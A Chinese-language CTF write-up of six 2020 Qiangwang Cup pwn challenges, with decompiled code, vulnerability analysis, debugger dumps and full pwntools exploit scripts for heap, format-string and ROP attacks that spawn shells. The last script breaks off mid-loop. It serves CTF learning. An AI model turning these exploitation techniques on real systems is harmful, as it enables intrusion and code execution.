2020_強網杯_pwn_復現


0x1 direct

程序分析

add 函數

  my_write("Index: ");
  result = my_scanf();
  idx = result;
  if ( result <= 0xF )
  {
    result = chunk_addr[result];
    if ( !result )
    {
      my_write("Size: ");
      result = my_scanf();
      size = result;
      if ( result <= 0x100 )
      {
        addr = malloc(result);
        if ( addr )
        {
          chunk_addr[idx] = addr;
          chunk_size[idx] = size;
          result = my_write_1("Done!");
        }
        else
        {
          result = my_write_1("allocate failed");
        }
      }
    }
  }
  return result;

可以分配 16 個 chunk ,並且分配的大小不超過 0x100 ,將分配 chunk 的 addr 和 size 存進對應的 bss 段數組中。

edit 函數

  if ( opendir_flag )
  {
    my_write("Index: ");
    result = my_scanf();
    idx = result;
    if ( result <= 0xF )
    {
      result = chunk_addr[result];
      if ( result )
      {
        my_write("Offset: ");
        offset = my_scanf();
        my_write("Size: ");
        size = my_scanf();
        nbytes = size;
        write_end = offset + size;
        result = chunk_size[idx];
        if ( write_end <= (signed __int64)result )
        {
          my_write("Content: ");
          read(0, (void *)(chunk_addr[idx] + offset), nbytes);
          result = my_write_1("Done!");
        }
      }
    }
  }

可以編輯 chunk 中 offset 偏移處開始的內容。

show 函數

  my_write("Index: ");
  result = my_scanf();
  v1 = result;
  if ( result <= 0xF )
  {
    result = chunk_addr[result];
    if ( result )
    {
      free((void *)chunk_addr[v1]);
      chunk_addr[v1] = 0LL;
      result = (unsigned __int64)chunk_size;
      chunk_size[v1] = 0LL;
    }
  }

菜單上寫得是 show 函數,實際卻是執行 free 操作,將 chunk free 掉,並將 bss 段對應數組的值置 0 。

open_file

  if ( !opendir_flag )
  {
    dirp = opendir(".");
    if ( !dirp )
      exit(-1);
    opendir_flag = 1;
    result = my_write_1("Done!");
  }
  return result;

用於打開當前目錄。

close_file

  if ( opendir_flag )
  {
    result = (unsigned __int64)readdir(dirp);
    v1 = (struct dirent *)result;
    if ( result )
    {
      my_write("Filename: ");
      result = my_write_1(v1->d_name);
    }
  }
  return result;

打印當前目錄的文件名。

利用過程

這題的漏洞在於 edit 中的 offset 可以輸入負值,這樣就能修改 chunk 的 size ,造成 overlap ;分配 chunk 在 dir 中的踩出 libc 地址,通過 close_file 泄露 libc ;最后 fast bin 打 free hook get shell 。

overlap

add(0,0x18) # 0
add(1,0x18) # 1
open_file() 
add(2,0x18) # 2
edit(0,-8,8,p64(0x8081))
gdb-peda$ x /80xg 0x55a13199f250 
0x55a13199f250: 0x0000000000000000      0x0000000000008081
0x55a13199f260: 0x0000000000000000      0x0000000000000000
0x55a13199f270: 0x0000000000000000      0x0000000000000021
0x55a13199f280: 0x0000000000000000      0x0000000000000000
0x55a13199f290: 0x0000000000000000      0x0000000000008041
0x55a13199f2a0: 0x0000000000000003      0x0000000000008000
0x55a13199f2b0: 0x0000000000000000      0x0000000000000000
0x55a13199f2c0: 0x0000000000000000      0x0000000000000000
0x55a13199f2d0: 0x0000000000000000      0x0000000000000000

修改 chunk 0 的size 為 0x8081,等后面 free 掉 chunk 0 就可以造成 overlap 。

leak libc

close_file()
delete(0)
add(10,0x18) # 10
add(3,0x78) # 3
add(4,0x88) # 4
edit(4,-8,8,'b' * 8)
close_file()
p.recvuntil('b' * 5)
libcbase_addr = u64(p.recv(6) + '\x00\x00') + 0x7f7e842f4000 - 0x7f7e846dfca0 // libc_start_addr - main_arena+96_addr
gdb-peda$ x /80xg 0x55a13199f250 
0x55a13199f250: 0x0000000000000000      0x0000000000000021 <-- chunk 0
0x55a13199f260: 0x00007f7e846e03f0      0x00007f7e846e03f0
0x55a13199f270: 0x000055a13199f250      0x0000000000000081 <-- chunk 1 ; chunk 3
0x55a13199f280: 0x00007f7e846dfca0      0x00007f7e846dfca0
0x55a13199f290: 0x0000000000000000      0x0000000000000000
0x55a13199f2a0: 0x0000000000000003      0x0000000000008000
0x55a13199f2b0: 0x0000000000000150      0x000000000000627a
0x55a13199f2c0: 0x0000000000000040      0x0000000000000000
0x55a13199f2d0: 0x00000000ffffffff      0x0000000000000020
0x55a13199f2e0: 0x040000002e040018      0x00000000ffffffff <-- d_name 1
0x55a13199f2f0: 0x0000000000000040      0x6262626262626262 <-- d_name 2 ; chunk 4
0x55a13199f300: 0x00007f7e846dfca0      0x00007f7e846dfca0
0x55a13199f310: 0x0000000000000000      0x0000000000000000
0x55a13199f320: 0x00000000ffffffff      0x0000000000000088

運行一次 close_file , dir 中會記錄當前目錄的文件名或目錄名。比如 0x55a13199f2e0 記錄了當前目錄第一個目錄名 “.” ,也就是 2e ,
0x55a13199f2f0 處記錄了當前目錄第二個目錄名,正常應為 2e2e ,也就是 “..” 。不過這里已經使用 edit 函數覆蓋為 “bbbbbbbb” ,目的是在 leak 不會因為 \x00 而截斷。 0x55a13199f300 處有我們通過分配 chunk 4 踩出的 main_arena 地址,這樣在 my_write_1(v1->d_name) 時就能 leak 出 main_arena 地址。

delete(1)
edit(3,0,8,p64(libcbase_addr + libc.symbols['__free_hook']))
add(5,0x78)
edit(5,0,8,'/bin/sh\x00')
add(6,0x78)
edit(6,0,8,p64(libcbase_addr + libc.symbols['system']))
delete(5)

后面的步驟就簡單了,從上步我們知道 chunk 1 跟 chunk 3 指向同一個 chunk ,可以當成 uaf 使用,直接 tcache chunk attack 打 free_hook 為 system 即可。

exp

from pwn_debug import *

file_name = 'direct'
#libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('local')

elf = pdbg.elf
libc = pdbg.libc
#elf = ELF(file_name)
#libc = ELF(libc_name)

def add(idx,size):
    p.sendlineafter('Your choice: ',str(1))
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('Size: ',str(size))

def edit(idx,offset,size,content):
    p.sendlineafter('Your choice: ',str(2))
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('Offset: ',str(offset))
    p.sendlineafter('Size: ',str(size))
    p.sendafter('Content: ',str(content))
    
def delete(idx):
     p.sendlineafter('Your choice: ',str(3))
     p.sendlineafter('Index: ',str(idx))

def open_file():
     p.sendlineafter('Your choice: ',str(4))

def close_file():
     p.sendlineafter('Your choice: ',str(5))

add(0,0x18) # 0
add(1,0x18) # 1
open_file() # 2
add(2,0x18)
edit(0,-8,8,p64(0x8081))

close_file()

delete(0)
add(10,0x18) # 10
add(3,0x78) # 3
add(4,0x88) # 4
edit(4,-8,8,'b' * 8)
close_file()

p.recvuntil('b' * 5)
libcbase_addr = u64(p.recv(6) + '\x00\x00') + 0x7ffff79e4000-0x7ffff7dcfca0 

print hex(libcbase_addr)

delete(1)
edit(3,0,8,p64(libcbase_addr + libc.symbols['__free_hook']))
add(5,0x78)
edit(5,0,8,'/bin/sh\x00')
add(6,0x78)
edit(6,0,8,p64(libcbase_addr + libc.symbols['system']))
delete(5)

p.interactive()

ps:這題是按本機及目錄環境調試的,在用 docker 復現時發現目錄環境不一樣導致 exp 失敗,也不知道比賽時具體的環境是怎么樣的...

0x2 強網先鋒 Just_a_Galgame

程序分析

程序有五個功能

Send her a little gift

if ( times_can_send_gift <= 0 )
{
      puts("Emmm...Alright. Thank you.");
}
else
{
      --times_can_send_gift;
      puts("\nHotaru: Wow! Thanks~\n");
      heaplist[6 - times_can_send_gift] = (__int64)malloc(0x68uLL);
      puts("[ You've hold some place in her heart! ]");
}
continue;

分支 1 ,而可以分配 0x68 大小的 chunk ,最多能分配 7 個 chunk 。

Invite her to go to a movie

if ( times_can_see_movie <= 0 || times_can_send_gift > 6 )
{
      puts("\nHotaru: Emmm...Sorry I should go home now. Maybe the next time.\n");
}
else
{
      puts("\nHotaru: Okay~ Let's choose a movie!\n");
      --times_can_see_movie;
      printf("idx >> ", &buf);
      read(0, &buf, 0x10uLL);
      if ( heaplist[atoi((const char *)&buf)] )
      {
            printf("movie name >> ", &buf);
            idx = atoi((const char *)&buf);
            read(0, (void *)(heaplist[idx] + 96), 0x10uLL);
            puts("\nHotaru: What a good movie! I like it~\n");
            puts("[ You've gained a lot favor of her! ]");
       }
       else
       {
            puts("[ The movie is not exist. ]");
            ++times_can_see_movie;
      } 
}
continue;

分支 2 ,可以對某個 chunk 的 96 偏移處寫入 0x10 大小的內容,最多編輯 1 次。注意這里沒有對 idx 檢查,也就是我們可以往數組外的指針寫入內容。

Confess to her

if ( times_to_confess <= 0 || times_can_send_gift > 6 )
{
      puts("\nHotaru: Sorry, I think it's better for us to be friends.\n");
}
else
{
      --times_to_confess;
      puts("You are the apple of my eyes too!");
      qword_404098 = (__int64)malloc(0x1000uLL);
      ++times_can_see_movie;
}
continue;

分支 3 ,分配一個 0x1000 大小的 chunk ,最多分配一次 。將分支 2 編輯次數加一。

Collection

puts("Reciew your cgs >> ");
while ( idx_1 <= 6 - times_can_send_gift )
{
      printf("%d: %s\n", (unsigned int)idx_1, heaplist[idx_1]);
      ++idx_1;
}
continue;

分支 4 ,可以看作是 show 函數。

Leave

puts("\nHotaru: Won't you stay with me for a while? QAQ\n");
read(0, &unk_4040A0, 8uLL);
v7 = 8LL;
v8 = "No bye!";
v9 = &unk_4040A0;
do
{
      if ( !v7 )
            break;
      v5 = (const unsigned __int8)*v8 < *v9;
      v6 = *v8++ == *v9++;
      --v7;
}while ( v6 );

if ( (!v5 && !v6) != v5 )
{
      puts("\n(='3'=)>daisuki~\n");
      continue;
}
return 0LL;

分支 5 ,如果輸入的字符串為 “No bye!” 則退出。這里重點是寫入的內容記錄在了 unk_4040A0 處,作用留在后面講。

利用過程

leak libc

題目給了提示 house of orange ,那就先 house of orange 獲得 unsorted bin chunk ,在 unsorted bin 中踩出 main_arena 地址,通過分支 4 打印出來即可。

add()
edit(0,'\x00' * 8 + p64(0xd41))
add_big()
add()
show()

p.recvuntil('1: ')
addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc_base = addr - 0x3ec2a0
onegadget = libc_base + 0x10a45c
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'addr:' + hex(addr)
print 'libc_base:' + hex(libc_base)
print 'onegadget:' + hex(onegadget)
print 'malloc_hook:' + hex(malloc_hook)

edit __malloc_hook

leak libc 后我們可以計算出 __malloc_hook 的地址,但是我們現在就只有一次調用分支 2 的機會,要怎么將 one_gadget 寫入 __malloc_hook 呢?這里要用到分支 5 中的 unk_4040A0 。先看下 bss 中的布局:

.bss:0000000000404060 heaplist
                      ...
.bss:0000000000404098 qword_404098
.bss:00000000004040A0 unk_4040A0

如果我們在 0x4040A0 寫入 __malloc_hook - 96 的地址,通過控制分支 2 中的 idx 就可以將 one_gadget 寫入 __malloc_hook 。再次調用 malloc 即可 get shell 。

p.sendafter('>> ',str(5))
p.sendafter("\nHotaru: Won't you stay with me for a while? QAQ\n",p64(malloc_hook - 96))

edit(8,p64(onegadget))

p.sendafter('>> ',str(1))

exp

from pwn_debug import *

file_name = 'Just_a_Galgame'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')

#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)

def add():
    p.sendafter('>> ',str(1))

def edit(idx,name):
    p.sendafter('>> ',str(2))
    p.sendafter('idx >> ',str(idx))
    p.sendafter('movie name >> ',name)
    
def add_big():
    p.sendafter('>> ',str(3))

def exit():
    p.sendafter('>> ',str(5))
    p.sendafter("\nHotaru: Won't you stay with me for a while? QAQ\n",'No bye!' + '\x00')

def show():
    p.sendafter('>> ',str(4))

add()
edit(0,'\x00' * 8 + p64(0xd41))
add_big()
add()
show()

p.recvuntil('1: ')
addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc_base = addr - 0x3ec2a0
onegadget = libc_base + 0x10a45c
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'addr:' + hex(addr)
print 'libc_base:' + hex(libc_base)
print 'onegadget:' + hex(onegadget)
print 'malloc_hook:' + hex(malloc_hook)


p.sendafter('>> ',str(5))
p.sendafter("\nHotaru: Won't you stay with me for a while? QAQ\n",p64(malloc_hook - 96))

edit(8,p64(onegadget))

p.sendafter('>> ',str(1))

#gdb.attach(p)
p.interactive()

0x3 強網先鋒 Siri

程序分析

v4 = __readfsqword(0x28u);
v2 = strstr(a1, "Remind me to ");
if ( !v2 )
      return 0LL;
memset(&s, 0, 0x110uLL);
sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 13);
printf(&s);
puts(&::s);
return 1LL;

程序存在格式化字符串漏洞,所以思路就是格式化字符串漏洞 leak stack_addr 跟 libc ,然后寫返回地址為 one_gadget 即可。

利用過程

這里需要注意一點, &s 是用 sprintf 寫入的,而 sprintf 存在 '\x00' 截斷。
如果我們想要以每次修改 2 字節的方式修改 ret_addr ,那必然會有如下棧布局:

stack_ret_addr: ret_addr
stack_input_addr:                         fmtstr
stack_input_addr + len(fmtstr):           stack_ret_addr
stack_input_addr + len(fmtstr) + 8:       stack_ret_addr + 2
stack_input_addr + len(fmtstr) + 16:      stack_ret_addr + 4

而本題的棧地址都是 6 字節,高位兩字節為 '\x00' ,而 sprintf 存在 '\x00' 截斷,這樣導致 &s 中只能寫入一個地址:

stack_input_addr:                         fmtstr
stack_input_addr + len(fmtstr):           stack_ret_addr
stack_input_addr + len(fmtstr) + 8:       0
stack_input_addr + len(fmtstr) + 16:      0

這給利用帶來了很大的麻煩,不過 &s 雖然被截斷了,可是 a1 並沒有, a1 是在主函數中通過 read 輸入的,也就是保存了完整的三個地址,我們在寫格式化字符串時將偏移改到這三個地址即可:

pwndbg> stack 55
00:0000│ rsp   0x7ffc546054e0 —▸ 0x7f31c39d4170 —▸ 0x55a015ced000 ◂— 0x10102464c457f
01:0008│       0x7ffc546054e8 —▸ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
02:0010│       0x7ffc546054f0 —▸ 0x7ffc54605700 ◂— 0x0
03:0018│       0x7ffc546054f8 —▸ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
04:0020│ rdi   0x7ffc54605500 ◂— 0x202c4b4f203e3e3e ('>>> OK, ')
05:0028│       0x7ffc54605508 ◂— 0x6d6572206c6c2749 ("I'll rem")
06:0030│       0x7ffc54605510 ◂— 0x20756f7920646e69 ('ind you ')
07:0038│       0x7ffc54605518 ◂— 0x3037373325206f74 ('to %3770')
08:0040│       0x7ffc54605520 ◂— 0x6e68243535256336 ('6c%55$hn')
09:0048│       0x7ffc54605528 ◂— 0x2563373837373725 ('%77787c%')
0a:0050│       0x7ffc54605530 ◂— 0x3834256e68243635 ('56$hn%48')
0b:0058│       0x7ffc54605538 ◂— 0x2437352563333131 ('113c%57$')
0c:0060│       0x7ffc54605540 ◂— 0x5628616161616e68 ('hnaaaa(V')
0d:0068│       0x7ffc54605548 ◂— 0x7ffc5460                        <-- &s 中的地址
0e:0070│       0x7ffc54605550 ◂— 0x0                               <-- 可以看到被截斷了,只寫入了一個地址
... ↓
26:0130│       0x7ffc54605610 —▸ 0x7ffc54605740 —▸ 0x55a015cee4d0 ◂— push   r15
27:0138│       0x7ffc54605618 ◂— 0x1bffca4fa2735300
28:0140│ rbp   0x7ffc54605620 —▸ 0x7ffc54605740 —▸ 0x55a015cee4d0 ◂— push   r15
29:0148│       0x7ffc54605628 —▸ 0x55a015cee44c ◂— test   eax, eax
2a:0150│       0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
2b:0158│ r8-5  0x7ffc54605638 ◂— 0x373325206f742065 ('e to %37')
2c:0160│       0x7ffc54605640 ◂— 0x2435352563363037 ('706c%55$')
2d:0168│       0x7ffc54605648 ◂— 0x3738373737256e68 ('hn%77787')
2e:0170│       0x7ffc54605650 ◂— 0x256e682436352563 ('c%56$hn%')
2f:0178│       0x7ffc54605658 ◂— 0x3525633331313834 ('48113c%5')
30:0180│       0x7ffc54605660 ◂— 0x616161616e682437 ('7$hnaaaa')
31:0188│       0x7ffc54605668 —▸ 0x7ffc54605628 —▸ 0x55a015cee44c ◂— test   eax, eax <-- a1 中的三個地址 
32:0190│       0x7ffc54605670 —▸ 0x7ffc5460562a ◂— 0x6552000055a015ce
33:0198│       0x7ffc54605678 —▸ 0x7ffc5460562c ◂— 0x696d6552000055a0
34:01a0│       0x7ffc54605680 ◂— 0x0

exp

from pwn_debug import *
 
file_name = 'Siri'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')

#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)

p.sendlineafter('>>> ','Hey Siri!')

p.sendlineafter('>>> What Can I do for you?','Remind me to aaaa%46$lx,bbbb%83$lx')
p.recvuntil('aaaa')
stack_addr = int(p.recv(12),16)
p.recvuntil('bbbb')
libc_start_main_231 = int(p.recv(12),16)

print hex(stack_addr)
print hex(libc_start_main_231)

libc_base = libc_start_main_231 - 231 - libc.symbols['__libc_start_main']
one_gadget = [0x4f365,0x4f3c2,0x10a45c]
onegadget = libc_base + one_gadget[0]
ret_addr = stack_addr - 0x118

print 'onegadget:' + hex(onegadget)
print 'ret_addr:' + hex(ret_addr)
print 'libc_base:' + hex(libc_base)

a1 = onegadget % (16 ** 4)
a2 = (onegadget / (16**4)) % (16**4)
a3 = onegadget / (16**8) 

print '' + hex(a1) + ',' + hex(a2) + ',' + hex(a3)

payload = 'Remind me to '
payload += '%'
payload += str(a1 - 27)
payload += 'c%55$hn'
payload += '%'
payload += str(0x10000 + a2 - a1)
payload += 'c%56$hn'
payload += '%'
payload += str(0x10000 + a3 - a2)
payload += 'c%57$hn'
payload = payload.ljust(0x38,'a')
payload += p64(ret_addr)
payload += p64(ret_addr + 2)
payload += p64(ret_addr + 4)


payload1 = 'Remind me to aaa' + fmtstr_payload(50,{ret_addr:onegadget},30,'short')


p.sendlineafter('>>> ','Hey Siri!')

#gdb.attach(p)

p.sendafter('>>> What Can I do for you?',payload)


#gdb.attach(p)
p.interactive()

0x4 強網先鋒 babymessage

程序分析

分支 1 能向 bss 段中寫入 4 字節數據。

puts("name: ");
name[(signed int)read(0, name, 4uLL)] = 0;
puts("done!\n");

分支 2

puts("message: ");
v1 = read(0, &v3, a1);
strncpy(buf, (const char *)&v3, v1);
buf[v1] = 0;
puts("done!\n");

分支 2 能向棧中寫入 a1 大小的數據。

message_size    = dword ptr -4

.text:0000000000400980                 cmp     eax, 2
.text:0000000000400983                 jnz     short loc_4009A1
.text:0000000000400985                 cmp     [rbp+message_size], 100h
.text:000000000040098C                 jle     short loc_400995
.text:000000000040098E                 mov     [rbp+message_size], 100h

如果 message_size 大於等於 256 ,則取 256 。

利用過程

棧溢出長度不夠,只能溢出到 rbp ,我們要想辦法讓 message_size >= 256 ,這樣我們就可以往棧上輸入 256 字節的內容。 message_size 在棧上 rbp - 4 處。我們可以通過分支 1 往 bss 段輸入一個大於 256 的值,然后通過覆蓋 rbp 為輸入值地址 + 4 ,這樣就能繞過判斷,使得我們可以往棧上輸入 256 字節,后面就是常規的 rop 即可。

exp

from pwn import *

file_name = './babymessage'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'

context.binary = file_name
context.log_level = 'debug'
context.terminal = ['./hyperpwn/hyperpwn-client.sh']

#p = process(file_name)
p = remote('0.0.0.0',9997)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)

libc = ELF('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
#libc = elf.libc

name = 0x6010D0
pop_rdi = 0x400ac3
start = 0x4006E0
ret = 0x400646

p.sendlineafter('choice: ','1')
p.sendafter('name: ',p32(0x1000))
p.sendlineafter('choice: ','2')
p.sendafter('message: ','a' * 8 + p64(name + 4))

payload = 'a' * 16 + flat([pop_rdi,elf.got['puts']],elf.plt['puts'],p64(start))

p.sendlineafter('choice: ','2')
p.sendafter('message: ',payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
#one_gadget = [0x4f365,0x4f3c2,0x10a45c]
#onegadget = libc_base + 0x10a45c

p.sendlineafter('choice: ','1')
p.sendafter('name: ',p32(0x1000))
p.sendlineafter('choice: ','2')
p.sendafter('message: ','a' * 8 + p64(name + 4))

payload = 'a' * 16 + flat([ret,pop_rdi,binsh,system]) #加個 ret 使得靶機棧對齊
#payload = 'a' * 16 + p64(onegadget)

p.sendlineafter('choice: ','2')
p.sendafter('message: ',payload)

p.interactive()

0x5 強網先鋒 babybnotes

程序分析

memset(&s, 0, 0x50uLL);
motto_addr = (char *)malloc(0x100uLL);
name_addr = (char *)malloc(0x18uLL);
puts("Input your name: ");
if ( (unsigned int)read(0, &s, 0x18uLL) == -1 )
      exit(0);
puts("Input your motto: ");
if ( (unsigned int)read(0, &v3, 0x20uLL) == -1 )
      exit(0);
puts("Input your age: ");
__isoc99_scanf("%lld", &v2);
strcpy(name_addr, &s);
strncpy(motto_addr, (const char *)&v3, 0x20uLL);
age = v2;

程序漏洞出現在 regist 函數中,如果我們將 name 輸入 16 個字節,那么 strcpy 就會將 age 的值也賦值到 name_addr 中,類似於 off-by-one 。我們可以利用這點造 overlap 。

程序利用

思路很簡單, 造 unsorted bin 來 leak libc ,然后造 overlap ,通過 fastbin attack 打 malloc_hook 拿 shell 。

add(0,0x100) # 0
add(1,0x60) # 1
delete(0)
add(0,0x100) # 0
show(0)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b78
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'libc_base :' + hex(libc_base)
print 'onegadget :' + hex(onegadget)

分配一個 unsorted bin chunk ,然后通過 show 函數來泄露 libc 。

delete(0)
delete(1)
add(4,0x60)
add(5,0x100)

add(0,0x18) # 0
add(1,0x30) # 1
add(2,0x60) # 2
add(3,0x20) # 3

edit(2,'\x00' * 0x18  + p64(0x30)) # 繞過 malloc(): memory corruption (fast)
delete(0)
delete(2)

rest('a' * 0x18,'aaaa',0x61) # 改 size 造 overlap
delete(1)

布置對應的環境,使得滿足 free 時的檢測,然后通過 regist 函數中的 of-by-one ,將 chunk 1 的 size 改大,然后 free 掉,這樣我們再次分配回改大的 chunk 時就可以通過 edit 控制 chunk 2 的 fd 指針。

add(0,0x50)
edit(0,'\x00' * 0x38 + p64(0x71) + p64(malloc_hook - 0x23))

add(1,0x60)
add(2,0x60)
edit(2,'a' * 0x13 + p64(onegadget))
delete(0)

p.sendlineafter('>> ','1')
p.sendlineafter('Input index: ',str(0))
p.sendlineafter('Input note size: ',str(0x60))

fastbin attack ,分配到 malloc_hook 附近的塊,然后通過 edit 修改 malloc_hook 為 onegadget ,再次調用 malloc 即可。

exp

from pwn import *

file_name = './babynotes'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'

context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']

#p = process(file_name)
p = remote('0.0.0.0',9997)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)

#libc = elf.libc
libc = ELF(libc_name)

def add(idx,size):
    p.sendlineafter('>> ','1')
    p.sendlineafter('Input index: ',str(idx))
    p.sendlineafter('Input note size: ',str(size))

def show(idx):
    p.sendlineafter('>> ','2')
    p.sendlineafter('Input index: ',str(idx))

def delete(idx):
    p.sendlineafter('>> ','3')
    p.sendlineafter('Input index: ',str(idx))

def edit(idx,notes):
    p.sendlineafter('>> ','4')
    p.sendlineafter('Input index: ',str(idx))
    p.sendafter('Input your note: ',notes)

def rest(name,motto,age):
    p.sendlineafter('>> ','5')
    p.sendafter('Input your name: ',name)
    p.sendafter('Input your motto: ',motto)
    p.sendlineafter('Input your age: ',str(age))

p.sendafter('Input your name: ','jkl')
p.sendafter('Input your motto: ','aaaa')
p.sendlineafter('Input your age: ',str(0x18))

add(0,0x100) # 0
add(1,0x60) # 1
delete(0)
add(0,0x100) # 0
show(0)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b78
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'libc_base :' + hex(libc_base)
print 'onegadget :' + hex(onegadget)

delete(0)
delete(1)
add(4,0x60)
add(5,0x100)

add(0,0x18) # 0
add(1,0x30) # 1
add(2,0x60) # 2
add(3,0x20) # 3

edit(2,'\x00' * 0x18  + p64(0x30))
delete(0)
delete(2)

rest('a' * 0x18,'aaaa',0x61)
delete(1)

add(0,0x50)
edit(0,'\x00' * 0x38 + p64(0x71) + p64(malloc_hook - 0x23))

add(1,0x60)
add(2,0x60)
edit(2,'a' * 0x13 + p64(onegadget))
delete(0)

p.sendlineafter('>> ','1')
p.sendlineafter('Input index: ',str(0))
p.sendlineafter('Input note size: ',str(0x60))


#gdb.attach(p)
p.interactive()


0x6 easypwn

程序分析

for ( i = -1; ; *(_BYTE *)(addr + i) = buf )
{
      v5 = i;
      if ( i + 1 >= (unsigned int)(size + 1) )
      break;
      if ( size - 1 == v5 )
     {
            buf = 0;
            *(_BYTE *)(addr + ++i) = 0;
            return __readfsqword(0x28u) ^ v6;
     }
      if ( (signed int)read(0, &buf, 1uLL) <= 0 )
      exit(-1);
      if ( buf == 10 )
      return __readfsqword(0x28u) ^ v6;
      ++i;
}
return __readfsqword(0x28u) ^ v6;

程序漏洞出現在輸入函數,存在 off-by-null 漏洞。同時程序沒有 show 函數,需要想辦法 leak libc 。

if ( !mallopt(1, 0) )
      exit(-1);

程序還關閉了 fastbin ,對我們的利用造成不便。

利用過程

思路就是首先通過 off-by-null 造 overlap ,然后通過 unsorted bin attack 修改 global_max_fast 為一個較大的值。通過猜測一位來爆破 stdout ,利用 stdout leak libc ,最后 fast bin attack 打 malloc_hook 即可。

add(0x68) # 0
add(0x68) # 1
add(0x68) # 2
add(0x68) # 3
add(0xf8) # 4
add(0x68) # 5
add(0x18) # 6
add(0x18) # 7
delete(0)
edit(3,'a' * 0x60 + p64(0x1c0))
delete(6)
delete(4)

構造 7 個 chunk ,在 chunk 4 中 偽造 prev_size ,然后通過 off-by-null 將 inuse 位置 0 ,這樣 free chunk 4 就能得到前五個 chunk 合並的大 chunk ,造成了 overlap 。

add(0x68)#0
add(0x68)#4
add(0x68)#6
edit(3,"a"*8+"\xe8\x37\n")
add(0x168)

unsorted bin attack 將 global_max_fast 修改為較大的值,這里是直接猜測的地址,爆破概率 1/16 。

delete(2)
delete(1)
edit(4,"\x00\n")
edit(0,"\xdd\x25\n")
add(0x68)#1
add(0x68)#2
add(0x68)#9
edit(9,"\x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "\x00\n")
p.recvuntil("\x7f\x00\x00")
addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
print hex(addr)

fast bin attack 將 chunk 分配至 _IO_2_1_stdout 附近,這里也是直接猜測的地址,爆破成功率 1/16 ,然后通過修改 _IO_write_base 達到 leak libc 的目的。

p.sendline("3")
p.sendlineafter(":\n","2")
edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"\n")
add(0x68)
add(0x68)
edit(10,"\x00"*0x13+p64(addr+0xf0364)+"\n")
#gdb.attach(p)
add(0x10)
p.interactive()

再次 fast bin attack 打 malloc_hook 為 onegadget ,最后調用 malloc 即可 get shell 。

exp

from pwn import *

file_name = './easypwn'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'

context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']

#p = process(file_name)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)

#libc = elf.libc
libc = ELF(libc_name)

def add(size):
    p.sendlineafter(":\n",str(1))
    p.sendlineafter(":\n",str(size))

def edit(index,note):
    p.sendlineafter(":\n",str(2))
    p.sendlineafter(":\n",str(index))
    p.sendafter(":\n",note)

def delete(index):
    p.sendlineafter(":\n",str(3))
    p.sendlineafter(":\n",str(index))

for i in range(100):
    try:
        p = remote('0.0.0.0',9997)
        add(0x68) # 0
        add(0x68) # 1
        add(0x68) # 2
        add(0x68) # 3
        add(0xf8) # 4
        add(0x68) # 5
        add(0x18) # 6
        add(0x18) # 7
        delete(0)
        edit(3,'a' * 0x60 + p64(0x1c0))
        delete(6)
        delete(4)
        
        add(0x68) # 0
